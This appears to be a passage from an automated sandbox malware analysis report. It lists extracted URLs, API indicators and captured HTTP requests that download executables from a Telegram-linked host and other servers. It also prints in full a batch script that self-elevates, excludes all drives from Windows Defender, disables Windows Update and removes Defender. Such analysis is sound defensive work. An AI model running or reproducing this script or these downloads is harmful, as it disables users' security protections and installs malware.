"http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l2.23.42.7.02.5.29.16gm5n-s" - Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_20.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lqw=7aw-7vpp;v" - Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526726'," - Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=526920')]" - Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005300.00000000.278971.07390000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005300.00000000.278971.6FEA1000.00000020.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00005300.00000001.279419.02D20000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005300.00000001.279419.02D20000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0" - Source: "00000000-00005300.00000001.279419.02D20000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00005300.00000001.279419.02D20000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00005300.00000001.279419.02D20000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00005300.00000001.279419.02E02000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00005300.00000001.279419.02E02000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00005300.00000001.279419.02E02000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00005300.00000001.279419.02E02000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00005300.00000001.279419.02E02000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00005300.00000001.279419.02E02000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00005300.00000001.279419.02E02000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcnew" - Source: "00000000-00005300.00000001.279419.02E02000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.%ydigicert" - Source: "00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysgeotrust" - Source: "00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l2.23.42.7.02.5.29.16gm5n-s" - Source: "00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/microoceraut_20.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lqw=7aw-7vpp;v" - Source: "00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005300.00000001.279419.07390000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hq_0i>qp0i>qqpq" - Source: "00000000-00005300.00000001.279419.07458000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00005300.00000001.279419.08930000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00005300.00000001.279419.08930000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0zn0l0j>http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0hs?qhs?ql?q$l?q$l?q,l?q,l?q4l?q4l?qm?q$m?q$m?q,m?q,m?q4m?q4m?q'" - Source: "00000000-00005696.00000000.281326.5D890000.00000002.mdmp") Found URL "http://www.w3.org/xml/1998/namespace" - Source: "00000000-00005696.00000000.281326.5D890000.00000002.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00005696.00000000.281326.941F2000.00000002.mdmp")82:T6bb,GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 GET / HTTP/1.1 Host: kis.munsitex.com.lk Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 GET /files/8429623103/0PCyVok.exe HTTP/1.1 GET /test/random.exe HTTP/1.1 GET /files/rdx/random.exe HTTP/1.1 GET /vidar/random.exe HTTP/1.1 GET /files/8451971749/Wfo8KJM.exe HTTP/1.1 GET /updater?for=13133FDAAD82194BF905B492AECEA4AB HTTP/1.1 Host: astrologickeconoablos.cc:8080 User-Agent: Go-http-client/1.1 Accept-Encoding: gzip GET /ho00rq HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=0d4743d0cc7ef4056c_648379273438352666 GET /files/5900855435/eNLe4nm.exe HTTP/1.1 GET /files/8035438604/X5P2hQO.msi HTTP/1.1 GET /files/6691015685/bEKVmef.exe HTTP/1.1 GET /files/6608710704/QWKgBhv.exe HTTP/1.1 GET /n1ds03 HTTP/1.1 Host: telegram.me Cache-Control: no-cache Pragma: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0 Cookie: stel_ssid=0d4743d0cc7ef4056c_648379273438352666 GET /files/8434554557/QKTi8Lo.exe HTTP/1.1 GET /files/7453936223/5GFpJxh.exe HTTP/1.1 GET /files/7782139129/bZl8Zv3.exe HTTP/1.1 GET /files/748049926/RslGvPs.exe HTTP/1.1 Host: 130.12.180.43 If-Modified-Since: Sun 01 Feb 2026 22:40:38 GMT If-None-Match: "697fd666-649380" 83:Taaf,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp")84:Taef,Found registry query API: "RegEnumValueA" in file "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin" Found registry query API: "RegOpenKeyExA" in file "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin" Found registry query API: "RegQueryValueExA" in file "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin" Found registry query API: "RegGetValueA" in file "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin" Found registry query API: "RegQueryInfoKeyW" in file "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin" Found registry query API: "RegOpenKeyExW" in file "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin" Found registry query API: "RegQueryValueExW" in file "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin" Found registry query API: "RegOpenKeyW" in file "00000000-00004008.00000000.279804.00901000.00000020.mdmp" Found registry query API: "RegEnumKeyExA" in file "00000000-00004620.00000001.280787.55531000.00000040.mdmp" Found registry query API: "RegGetValueW" in file "00000000-00004620.00000001.280787.55531000.00000040.mdmp" Found registry query API: "RegEnumKeyExW" in file "00000000-00004620.00000001.280787.55531000.00000040.mdmp" Found registry query API: "RegQueryInfoKeyA" in file "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin" Found registry query API: "RegQueryValueExA" in "00000000-00003812.00000000.280750.40017000.00000002.mdmp" Found registry query API: "RegOpenKeyExA" in "00000000-00003812.00000000.280750.40017000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyA" in "00000000-00003812.00000000.280750.40017000.00000002.mdmp" Found registry query API: "RegOpenKeyW" in "00000000-00004008.00000000.279804.00901000.00000020.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00004008.00000000.279804.0092B000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00004008.00000000.279804.0092B000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp" Found registry query API: "RegEnumKeyExW" in "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp" Found registry query API: "RegQueryInfoKeyW" in "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp" Found registry query API: "RegSaveKeyExW" in "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp" Found registry query API: "RegGetValueW" in "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp"85:T9e4,"nulColor 0fset "SCRIPT_RUNNING_FLAG=%TEMP%\script_running_%RANDOM%.tmp"if exist "%SCRIPT_RUNNING_FLAG%" exit /becho.> "%SCRIPT_RUNNING_FLAG%"set "Arch=" & set "ArgNsudo=" & set "MainFolder1=" & set "MainFolder2=" & set "ProcList=" & set "NumberWin="SetLocal EnableDelayedExpansioncd /d "%~dp0saked"set "Arch=x64" & (If "%PROCESSOR_ARCHITECTURE%"=="x86" if not defined PROCESSOR_ARCHITEW6432 set Arch=x86)reg query "HKU\S-1-5-19" >nul 2>&1 || ( nircmd elevate "%~f0" del "%SCRIPT_RUNNING_FLAG%" 2>nul exitif defined WT_SESSION ( reg add "HKCU\Console\%%%%Startup" /v "DelegationConsole" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nul reg add "HKCU\Console\%%%%Startup" /v "DelegationTerminal" /t REG_SZ /d "{B23D10C0-E52E-411E-9D5B-C09FDF709C7D}" /f >nulreg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f >nul 2>&1set "Version=15.0"set "DateProgram=28.03.25"Mode 79,49for /f "tokens=4 delims=[] " %%v in ('ver') do set "NumberWin=%%v"reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" | find /i "0x0" >nul 2>&1 && set "ArgNsudo=C" || set "ArgNsudo=E"for /f "skip=3 tokens=1" %%a in ('tasklist') do set "ProcList=!ProcList! %%a "for %%p in (SmartScreen MsMpEng SgrmBroker MsSense NisSrv MpCmdRun MPSigStub SecurityHealthSystray SecurityHealthService SecurityHealthHost MpDefenderCoreService) do (if "!ProcList!"=="!ProcList:%%p.exe =!" (set "%%~pP=0a") else (set "%%~pP=0c"))set "ListWDServ=WinDefend MDCoreSvc WdNisSvc Sense wscsvc SgrmBroker SecurityHealthService webthreatdefsvc webthreatdefusersvc WdNisDrv WdBoot WdFilter SgrmAgent MsSecWfp MsSecFlt MsSecCore"for %%x in (%ListWDServ%) do reg query "HKLM\System\CurrentControlSet\Services\%%~x" >nul 2>&1 && set "%%~x=0c" || set "%%~x=0a"if exist "%AllUsersProfile%\Microsoft\Windows Defender" (set "MainFolder1=04") else (set "MainFolder1=0a")if exist "%SystemDrive%\Program Files\Windows Defender" (set "MainFolder2=04") else (set "MainFolder2=0a")set PathTask=%SystemRoot%\System32\Tasks\Microsoft\Windows\Windows Defenderif not exist "%PathTask%\Windows Defender Cache Maintenance" (set "Maintenance=0a") else (set "Maintenance=0c")if not exist "%PathTask%\Windows Defender Scheduled Scan" (set "Scan=0a") else (set "Scan=0c")if not exist "%PathTask%\Windows Defender Verification" (set "Verification=0a") else (set "Verification=0c")if not exist "%PathTask%\Windows Defender Cleanup" (set "Cleanup=0a") else (set "Cleanup=0c"):StartProcessRemovever | findstr /c:"6.1.7601" >nul 2>&1 && goto :SkipUnlockerreg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v "ProductName" | find /i "Windows 7" >nul 2>&1 && goto :SkipUnlockerreg query HKLM\System\CurrentControlset\Services\WdFilter >nul 2>&1 && reg query "HKLM\Software\Microsoft\Windows Defender" >nul 2>&1 && ( reg query "HKLM\Software\Microsoft\Windows Defender\Exclusions\Paths" | find /i "%SystemDrive%\" >nul 2>&1 || ( NSudoLG -U:%ArgNsudo% -ShowWindowMode:Hide -Wait PowerShell "[System.IO.DriveInfo]^::GetDrives^(^) ^| ForEach-Object { Add-MpPreference -ExclusionPath $_.Name }^; Start-Sleep -Milliseconds 1000" >nul 2>&1 )set "a=7"set "b=z" set "c=x"set "d=-aoa"set "e=-bso0"set "f=-bsp1"set "g=same.zip"set "h=stucha"set "i=mika.exe"%a%%b% %c% %d% %e% %f% "%g%" -p"%h%" "%i%" >nul%i% /CurrentDiskSize:StartUnlockerAndSkipBackupfor %%S in (wuauserv dosvc bits UsoSvc WaaSMedicSvc) do ( sc stop %%S >nul 2>&1 sc config %%S start= disabled >nul 2>&1reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate" /v DisableWindowsUpdateAccess /t REG_DWORD /d 1 /f >nul 2>&1reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v "Start" /t REG_DWORD /d 4 /f >nul 2>&1reg load HKLM\TEMP_SYSTEM C:\Windows\System32\config\SYSTEMreg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\wuauserv" /v Start /t REG_DWORD /d 4 /freg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\UsoSvc" /v Start /t REG_DWORD /d 4 /freg add "HKLM\TEMP_SYSTEM\ControlSet001\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /freg unload HKLM\TEMP_SYSTEMset "DEFENDER_REMOVED_FLAG=%TEMP%\defender_removed.flag"if not exist "%DEFENDER_REMOVED_FLAG%" ( taskkill /f /im mika.exe >nul 2>&1 start "" /min mika.exe /DelWD echo.> "%DEFENDER_REMOVED_FLAG%"del "%SCRIPT_RUNNING_FLAG%" 2>nulexit /b" (Indicator: ""del ") in Source: ruAeNNwcE.bat95:T5de,Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "RemoveDirectoryW" (Indicator: "RemoveDirectory"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; File: "00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp") Found reference to API "DeleteFileA" (Indicator: "DeleteFile"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "RemoveDirectoryA" (Indicator: "RemoveDirectory"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp") Found reference to API "DeleteFileW" (Indicator: "DeleteFile"; Source: "00000000-00004820.00000000.279859.04120000.00000004.mdmp")96:T5f9,Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "SeShutdownPrivilege" (Indicator: "SeShutdownPrivilege"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp") Found reference to API "LookupPrivilegeValueW" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00005300.00000000.278971.04CB0000.00000004.mdmp")97:T11b9,Found reference to API "GetSidIdentifierAuthority" (Indicator: "GetSidIdentifierAuthority"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "GetFileSecurityW" (Indicator: "GetFileSecurityW"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "IsWellKnownSid" (Indicator: "IsWellKnownSid"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "GetAce" (Indicator: "GetAce"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "CreateRestrictedToken" (Indicator: "CreateRestrictedToken"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "SetTokenInformation" (Indicator: "SetTokenInformation"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "AddAce" (Indicator: "AddAce"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateToken"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "DuplicateTokenEx" (Indicator: "DuplicateTokenEx"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "GetLengthSid" (Indicator: "GetLengthSid"; Source: "00000000-00004008.00000000.279804.0092B000.00000002.mdmp") Found reference to API "CopySid" (Indicator: "CopySid"; Source: "00000000-00004008.00000000.279804.0092B000.00000002.mdmp") Found reference to API "GetSidLengthRequired" (Indicator: "GetSidLengthRequired"; Source: "00000000-00004008.00000000.279804.0092B000.00000002.mdmp") Found reference to API "GetSidSubAuthority" (Indicator: "GetSidSubAuthority"; Source: "00000000-00004008.00000000.279804.0092B000.00000002.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthority"; Source: "00000000-00004008.00000000.279804.0092B000.00000002.mdmp") Found reference to API "GetSidSubAuthorityCount" (Indicator: "GetSidSubAuthorityCount"; Source: "00000000-00004008.00000000.279804.0092B000.00000002.mdmp")98:T8a9,Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "3a88fc89c7e42d6865ac32b65091fbe0c4940b4661c80a57d1c85980d76b8a50.bin") Found reference to API "NtTerminateProcess" (Indicator: "TerminateProcess"; File: "00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00003812.00000000.280750.40017000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004008.00000000.279804.0092B000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004104.00000000.281597.00DEE000.00000002.mdmp") Found reference to API "NtTerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 00000000-00004620.00000001.280787.55531000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004620.00000000.280356.55531000.00000040.mdmp, 